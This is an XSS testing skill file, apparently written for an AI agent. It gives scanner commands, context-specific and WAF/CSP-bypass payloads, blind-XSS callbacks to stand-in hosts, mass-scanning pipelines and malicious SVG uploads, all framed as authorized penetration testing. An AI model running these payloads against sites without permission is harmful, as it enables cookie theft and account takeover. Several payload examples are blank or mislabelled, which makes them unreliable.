--- name: exploit-xss description: Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources. --- # Cross-Site Scripting (XSS) Detection Skill ## ⚠️ DANGER - Authorization Required **This skill is for AUTHORIZED SECURITY TESTING ONLY.** You must have: - Written permission from the target system owner - Legal authorization to test the target - A defined scope of testing Unauthorized XSS testing is ILLEGAL and unethical. --- ## Prerequisites ### Required Tools ```bash # XSStrike - Advanced XSS scanner with DOM support pip install xsstrike # Or: git clone https://github.com/s0md3v/XSStrike # Dalfox - Fast XSS scanner with pipeline mode go install github.com/hahwul/dalfox/v2@latest # XSpear - XSS testing with WAF bypass gem install xspear ``` ### Python Requirements ```bash # Install required Python packages for built-in scripts pip install requests beautifulsoup4 # Optional: WebSocket XSS testing pip install websockets ``` ### Optional Tools ```bash # Burp Suite for manual testing # OWASP ZAP for automated scanning ``` --- ## Quick Start ### Basic URL Testing ```bash # Test a URL parameter for XSS python xsstrike.py -u "https://target.com/search?q=test" # Fast scanning with Dalfox dalfox url "https://target.com/search?q=test" ``` ### POST Request Testing ```bash # Save POST request to file dalfox file request.txt # Or use XSStrike python xsstrike.py -r request.txt ``` ### DOM XSS Testing ```bash # DOM XSS with XSStrike python xsstrike.py -u "https://target.com/page#test" --dom # DOM XSS with Dalfox dalfox url "https://target.com/page#test" --dom ``` --- ## Common Scenarios ### 1. Basic Parameter Testing (Reflected XSS) Test URL parameters for reflection and injection: ```bash # Single URL testing python xsstrike.py -u "https://target.com/search?q=test" # Dalfox for faster scanning dalfox url "https://target.com/search?q=test" # Specify parameter dalfox url "https://target.com/search" -p q ``` **What to check:** - Does the input reflect in the HTML response? - What is the context (HTML tag, attribute, JavaScript)? - Are there any filters/encoding applied? ### 2. POST Request XSS (Form Testing) Test POST forms for stored/reflected XSS: ```bash # Save request to file first echo 'POST /login HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=test&password=test' > post_request.txt # Test with XSStrike python xsstrike.py -r post_request.txt # Test with Dalfox dalfox file post_request.txt ``` **Common POST targets:** - Login forms (username, email fields) - Contact forms (name, message fields) - Search forms - Comment forms - User profile updates ### 3. Cookie and Header XSS Test HTTP headers and cookies for injection: ```bash # Test with custom cookies python xsstrike.py -u "https://target.com" --cookie "session=test&user=" # Test User-Agent header python xsstrike.py -u "https://target.com" --user-agent "" # Test Referer header (often reflects in error pages) python xsstrike.py -u "https://target.com" --referer "https://evil.com/" ``` **Headers to test:** - User-Agent (check application logs/error pages) - Referer (check 404 pages, analytics) - X-Forwarded-For (check IP reflection) - Cookie (check welcome messages/logs) ### 4. Reflected XSS Detection Identify reflection points and test payloads: ```bash # Automated reflection detection dalfox url "https://target.com/search?q=test" --only-discovery # Manual reflection analysis scripts/xss_context_analyzer.py "https://target.com/search?q=test" # Differential response analysis python xsstrike.py -u "https://target.com/search?q=test" --blind ``` **Detection techniques:** - Compare response length with/without payload - Search for payload in response HTML - Check for encoding/filtering patterns - Identify HTML context (tag, attribute, JS, CSS) ### 5. Stored XSS Testing (Database Persistence) Test for XSS that persists in the database: ```bash # Test comment/feedback forms dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net # Test user profile fields python xsstrike.py -r profile_update_request.txt # Time-based detection for stored XSS scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload" ``` **Stored XSS targets:** - User profiles (name, bio, location) - Comments/Reviews - Forum posts - Email/contact forms (admin panel XSS) - File upload metadata ### 6. DOM XSS Discovery Find client-side XSS vulnerabilities: ```bash # DOM XSS scanning python xsstrike.py -u "https://target.com/page#input" --dom # Dalfox DOM mode dalfox url "https://target.com/page#input" --dom # Manual DOM source analysis scripts/xss_context_analyzer.py --dom "https://target.com/page" ``` **Common DOM sources:** - `location.hash` - `location.search` - `document.cookie` - `document.referrer` - `window.name` **Common DOM sinks:** - `innerHTML` - `document.write()` - `eval()` - `location.href` - `setTimeout()` / `setInterval()` ### 7. Blind XSS in Forms (Contact/Admin XSS) Test XSS in forms that execute in admin panels: ```bash # Generate blind XSS payloads with callback scripts/xss_payload_generator.py --blind --callback "https://your-callback.com" # Test contact form with blind payload dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net # XSpear blind mode xspear -u "https://target.com/contact" -d "name=test&message=" ``` **Blind XSS testing tips:** - Use unique payloads per test (to identify which parameter is vulnerable) - Use Burp Collaborator or interactsh for callbacks - Test email contact forms (executes when admin opens email) - Test support ticket systems ### 8. Context-Aware Payloads Use payloads specific to the injection context: ```bash # Analyze context first scripts/xss_context_analyzer.py "https://target.com/search?q=test" # Generate context-specific payloads scripts/xss_payload_generator.py --context html-attribute scripts/xss_payload_generator.py --context javascript scripts/xss_payload_generator.py --context url ``` **Context-specific payloads:** **HTML Body/Tag:** ```html ``` **HTML Attribute:** ```html " onmouseover=alert('XSS') javascript:alert('XSS') ``` **JavaScript:** ```javascript ';alert('XSS');// '-alert('XSS')- ``` **CSS/Style:** ```css expression(alert('XSS')) ``` ### 9. WAF Bypass Techniques Evade Web Application Firewalls: ```bash # Generate WAF bypass payloads scripts/xss_payload_generator.py --waf-bypass # Use XSpear with bypass mode xspear -u "https://target.com/search?q=test" --bypass # Test various encodings python xsstrike.py -u "https://target.com/search?q=test" --encode ``` **Bypass techniques:** - URL encoding: `%3Cscript%3Ealert(1)%3C/script%3E` - Double encoding: `%253Cscript%253E` - Unicode encoding: `\u003Cscript\u003E` - HTML entities: `<script>alert(1)</script>` - Case mixing: `` - Comment injection: `` - Tab/newline injection: `alert(1)` ### 10. Automated Scanning (Batch Testing) Scan multiple URLs/parameters: ```bash # Scan from file dalfox file urls.txt # Pipe from other tools cat urls.txt | dalfox pipe # XSStrike with multiple targets for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done # Combine with subdomain enumeration subfinder example.com | httpx | dalfox pipe ``` ### 11. Payload Encoding Variations Test with different encoding schemes: ```bash # URL encode payloads scripts/xss_payload_generator.py --encode url # HTML encode scripts/xss_payload_generator.py --encode html # Hex encode scripts/xss_payload_generator.py --encode hex # Test with XSStrike encoding python xsstrike.py -u "https://target.com" --encode ``` **Common encodings to test:** 1. Plain: `` 2. URL encoded: `%3Cscript%3Ealert(1)%3C/script%3E` 3. Double URL encoded: `%253Cscript%253E` 4. HTML entities: `<script>alert(1)</script>` 5. Hex: `\x3Cscript\x3Ealert(1)\x3C/script\x3E` 6. Unicode: `\u003Cscript\u003Ealert(1)\u003C/script\u003E` ### 12. Polyglot Payloads Test with payloads that work in multiple contexts: ```bash # Generate polyglot payloads scripts/xss_payload_generator.py --polyglot # Common polyglot payload # Works in: HTML, HTML attribute, JavaScript string, etc. javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A ``` **Famous polyglot payloads:** ```javascript # Ashar Javed's polyglot %3Cscript%3Ealert(1)%3C/script%3E # Mathias Karlsson's polyglot javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A # Another polyglot %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E ``` ### 13. CSP Detection and Bypass Content Security Policy analysis and bypass testing: ```bash # Detect and analyze CSP python scripts/csp_detector.py https://target.com # Generate bypass report python scripts/csp_detector.py https://target.com --bypass # Full CSP analysis python scripts/csp_detector.py https://target.com --verbose ``` **Common CSP bypass techniques:** - `unsafe-inline` - allows inline scripts - `unsafe-eval` - allows eval(), setTimeout() - `data:` URLs - inline scripts via data URI - Wildcard sources - allows any domain - Nonce-based bypasses - Framework-specific bypasses See `references/csp_bypass_guide.md` for detailed techniques. ### 14. Framework-Specific XSS Test for Angular, React, Vue, and other framework vulnerabilities: ```bash # Auto-detect frameworks python scripts/framework_xss_tester.py --url https://target.com --detect # Test Angular XSS python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular # Test React XSS python scripts/framework_xss_tester.py --url https://target.com --param data --framework react # Test Vue XSS python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue ``` **Common framework vectors:** - Angular: `{{constructor.constructor('alert(1)')()}}` - React: `dangerouslySetInnerHTML` - Vue: `v-html` directive - jQuery: `.html()` manipulation See `references/framework_xss_guide.md` for detailed techniques. ### 15. SVG File Upload XSS Test for SVG-based XSS in file uploads: ```bash # Generate SVG payloads python scripts/svg_xss_tester.py --generate --variant file_upload # Test SVG injection python scripts/svg_xss_tester.py --url https://target.com --param content # Test SVG file upload python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar # Create exploit SVG python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com ``` **SVG XSS vectors:** - `` - `` - `` See `references/svg_xss_guide.md` for detailed techniques. ### 16. Mutation XSS (mXSS) Test for HTML mutation-based XSS: ```bash # Test all mutation types python scripts/mutation_xss_tester.py --url https://target.com --param q --type all # Test DOM clobbering python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber # Test attribute mutations python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute ``` **Mutation XSS vectors:** - Entity decoding mutations: `<` → `<` - Tag parsing mutations: ``, `` - DOM clobbering: `` - Namespace mutations: SVG/MathML See `references/mutation_xss_guide.md` for detailed techniques. ### 17. WebSocket XSS Test for XSS vulnerabilities in WebSocket connections: ```bash # Scan URL for WebSocket endpoints python scripts/websocket_xss_tester.py --url https://target.com # Test specific WebSocket URL python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws # Test DOM injection via WebSocket python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom # Test stored XSS in WebSocket python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored # Test with custom payload python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '' ``` **WebSocket XSS vectors:** - Message reflection: `ws.send('')` - JSON injection: `{"message": ""}` - Event handler: `ws.send('alert(1);')` - Attribute breaking: `" onmouseover=alert(1)` See `references/websocket_xss_guide.md` for detailed techniques. --- ## Tool Selection Guide | Scenario | Recommended Tool | Command | |----------|------------------|---------| | Quick parameter testing | Dalfox | `dalfox url "https://target.com?param=test"` | | Deep scanning with DOM | XSStrike | `python xsstrike.py -u "URL" --dom` | | WAF bypass testing | XSpear | `xspear -u "URL" --bypass` | | Stored/Blind XSS | Dalfox + Callback | `dalfox file req.txt --blind CALLBACK` | | Manual testing | XSStrike | `python xsstrike.py -r request.txt` | | Batch scanning | Dalfox pipe | `cat urls.txt \| dalfox pipe` | | CSP Analysis | CSP Detector | `python scripts/csp_detector.py URL` | | Framework XSS | Framework Tester | `python scripts/framework_xss_tester.py -u URL -p param` | | SVG XSS | SVG Tester | `python scripts/svg_xss_tester.py -u URL -p param` | | Mutation XSS | Mutation Tester | `python scripts/mutation_xss_tester.py -u URL -p param` | | WebSocket XSS | WebSocket Tester | `python scripts/websocket_xss_tester.py -u URL` | | Full Scan | Full Scanner | `python scripts/xss_full_scan.py -u URL --all` | **Tool Comparison:** | Feature | XSStrike | Dalfox | XSpear | Built-in Scripts | |---------|----------|--------|--------|------------------| | Speed | Medium | Fast | Medium | Varies | | DOM XSS | Excellent | Good | Limited | Good | | WAF Bypass | Good | Good | Excellent | Good | | Pipeline Mode | No | Yes | No | No | | Blind XSS | Yes | Yes | Yes | Yes | | CSP Analysis | No | No | No | Yes | | Framework Testing | No | No | No | Yes | | SVG Testing | No | No | No | Yes | | Mutation XSS | No | No | No | Yes | | WebSocket XSS | No | No | No | Yes | --- ## Testing Checklist ### Reconnaissance Phase - [ ] Identify all input points (URL params, forms, headers, cookies) - [ ] Map out application functionality - [ ] Identify data storage locations ### Reflected XSS Testing - [ ] Test all URL parameters - [ ] Test all form fields (GET/POST) - [ ] Test HTTP headers (UA, Referer, Cookie) - [ ] Identify reflection context - [ ] Test context-specific payloads ### Stored XSS Testing - [ ] Test all form submissions - [ ] Test file upload metadata - [ ] Test user profile fields - [ ] Test comments/reviews - [ ] Verify persistence across sessions - [ ] Test execution in different user contexts ### DOM XSS Testing - [ ] Identify all DOM sources - [ ] Trace data flow to sinks - [ ] Test hash-based injections - [ ] Test URL parameter-based injections - [ ] Test localStorage/sessionStorage ### Advanced Testing - [ ] Test WAF bypass techniques - [ ] Test encoding variations - [ ] Test polyglot payloads - [ ] Perform blind XSS testing - [ ] Test for CSP bypasses - [ ] Test framework-specific XSS (Angular/React/Vue) - [ ] Test SVG file upload XSS - [ ] Test Mutation XSS (DOM clobbering) - [ ] Test HTTP response header injection - [ ] Test WebSocket XSS (if applicable) --- ### Scenario: Persistent Storage of XSS Findings When you need to persist XSS findings to the database: ```bash # Manual entry after discovering XSS python .claude/skills/exploit-xss/scripts/xss_storage.py \ --host-ip 192.168.1.100 \ --url "https://example.com/search?q=test" \ --xss-type reflected \ --payload "" \ --context html_body \ --severity High \ --subsystem "Web Application" ``` **Parameters:** - `--host-ip` - Target host IP (required) - `--url` - Vulnerable URL (required) - `--xss-type` - XSS type: reflected, stored, or dom (required) - `--payload` - Payload used (required) - `--context` - XSS context: html_body, html_attribute, javascript, dom, url (default: html_body) - `--severity` - Severity level (default: Medium) - `--subsystem` - Subsystem name (optional) - `--parameter` - Vulnerable parameter name - `--title` - Vulnerability title (auto-generated if not specified) - `--description` - Vulnerability description - `--cvss-score` - CVSS score (0.0-10.0) **Database location:** `./data/results.db` **Related skills:** `results-storage` - Query data, generate reports --- ## Resources ### Scripts - `scripts/xss_payload_generator.py` - Generate XSS payloads for various contexts - `scripts/xss_tester.py` - Automated XSS testing framework - `scripts/xss_context_analyzer.py` - Analyze injection context - `scripts/blind_xss_tester.py` - Test stored/blind XSS - `scripts/csp_detector.py` - CSP analysis and bypass testing - `scripts/svg_xss_tester.py` - SVG file upload XSS testing - `scripts/framework_xss_tester.py` - Angular/React/Vue XSS testing - `scripts/mutation_xss_tester.py` - Mutation XSS/DOM clobbering testing - `scripts/websocket_xss_tester.py` - WebSocket XSS testing - `scripts/mxss_detector.py` - HTML parser mutation XSS detection - `scripts/xss_full_scan.py` - Integrated XSS testing automation ### Reference Documentation - `references/dalfox_guide.md` - Dalfox complete guide - `references/xsstrike_guide.md` - XSStrike complete guide - `references/xspear_guide.md` - XSpear complete guide - `references/xss_payload_techniques.md` - XSS payload techniques - `references/dom_xss_guide.md` - DOM XSS testing guide - `references/csp_bypass_guide.md` - CSP bypass techniques - `references/framework_xss_guide.md` - Framework-specific XSS guide - `references/svg_xss_guide.md` - SVG XSS testing guide - `references/mutation_xss_guide.md` - Mutation XSS/DOM clobbering guide - `references/websocket_xss_guide.md` - WebSocket XSS testing guide ### Assets/Wordlists - `assets/common_xss_payloads.txt` - Basic XSS payloads - `assets/attribute_xss_payloads.txt` - Attribute context payloads - `assets/dom_xss_payloads.txt` - DOM XSS payloads - `assets/blind_xss_payloads.txt` - Blind XSS with callbacks - `assets/polyglot_xss_payloads.txt` - Multi-context payloads - `assets/waf_bypass_payloads.txt` - WAF evasion payloads - `assets/csp_bypass_payloads.txt` - CSP bypass payloads - `assets/framework_xss_payloads.txt` - Angular/React/Vue payloads - `assets/svg_xss_payloads.txt` - SVG XSS payloads - `assets/mutation_xss_payloads.txt` - Mutation XSS payloads - `assets/websocket_xss_payloads.txt` - WebSocket XSS payloads ### External Resources - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - [PortSwigger XSS Guide](https://portswigger.net/web-security/cross-site-scripting) - [PayloadsAllTheThings - XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection) --- ## Common Responses & Troubleshooting ### "No XSS found" - Try different payload encodings - Test with DOM scanner enabled - Check if there's a WAF blocking - Test with blind XSS payloads - Verify the parameter actually reflects ### "Payload is reflected but not executing" - Analyze the context using context analyzer - Use context-specific payloads - Check for CSP (Content Security Policy) - Check for input sanitization - Try alternative tags/event handlers ### "403 / WAF blocked" - Use WAF bypass payloads - Try different encoding methods - Use XSpear with --bypass flag - Test with smaller payloads first - Try alternative injection points --- ## Reporting Format When reporting XSS vulnerabilities, include: ``` ╔═══════════════════════════════════════════════════════╗ ║ XSS Vulnerability Report ║ ╠═══════════════════════════════════════════════════════╣ ║ Target: https://target.com/search ║ ║ Type: Reflected XSS ║ ║ Severity: High ║ ╚═══════════════════════════════════════════════════════╝ Vulnerable Parameter: q Injection Context: HTML attribute (value) Payload: " onmouseover=alert('XSS') Proof of Concept: https://target.com/search?q=%22%20onmouseover%3Dalert('XSS') Impact: - Execute arbitrary JavaScript in victim's browser - Steal session cookies - Perform actions on behalf of victim - Deface website Recommendations: - Implement proper output encoding - Use Content Security Policy (CSP) - Validate and sanitize all input - Use framework-provided escaping functions ```